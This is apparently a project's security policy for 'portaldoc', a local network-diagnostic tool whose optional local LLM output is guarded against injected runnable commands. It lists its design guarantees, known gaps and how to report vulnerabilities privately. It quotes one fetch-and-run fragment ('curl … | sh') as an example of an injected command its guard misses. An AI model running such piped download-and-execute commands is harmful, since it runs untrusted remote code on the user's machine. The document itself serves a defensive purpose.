portaldoc runs on the machine you're trying to fix. It executes local diagnostic commands, emits measurement packets, and can run an optional local LLM. Its design goal is to never go off-box for knowledge and to never run a command for you. This document describes that model and how to report issues.

• Shell-free command execution. Every probe runs a fixed binary with an argument array (Bun.spawn([...])) — never a shell string. No probe interpolates network input or model output into a command.
• The LLM is a grounded reasoner, not a free one. Narration is constrained to the injected probe facts and matched playbooks. Any command the model emits that is not in the verified allow-set is redacted, not rendered as runnable. The TUI and CLI share the same guard, and the TUI withholds an unterminated backtick span until it can be classified, so an injected command can never flash as runnable mid-stream.
• Sudo fixes are copy-paste only. portaldoc never auto-runs a privileged command.
• Offline by contract. No public-internet calls are made for help or knowledge. The only outbound packets are the captive-detection / HTTPS-reachability measurement itself (to fixed endpoints such as captive.apple.com). Run with --audit-net to log every outbound emitter and confirm each resolves to a fixed/loopback host.

• Markerless mid-prose commands (low risk). The guard that flags bare commands in prose inspects only the first token of a line. A command embedded mid-sentence without code markers (e.g. "you should curl … | sh" written without backticks) is not flagged. This cannot produce a runnable/copyable affordance — those require a backtick span and an exact allow-set match — so it can only ever render as inert prose the user would have to retype by hand. Hardening is tracked.
• PORTALDOC_ALLOW_REMOTE=1 disables the loopback contract. This is a deliberate developer escape hatch for pointing the tool at a non-local Ollama. If you set it, your full network fact-sheet (SSID/BSSID/IP/gateway/MAC) is sent to whatever PORTALDOC_OLLAMA_URL / OLLAMA_URL you configured. Leave it unset for the offline guarantee.
• --json output contains network-identifying data (MAC, SSID, BSSID, IP, gateway, DNS). Don't paste raw --json into public bug reports or forums.

Please report security issues privately via GitHub's "Report a vulnerability" (Security Advisories) on this repository, rather than opening a public issue. Include repro steps and the affected file/path. I aim to acknowledge within a few days.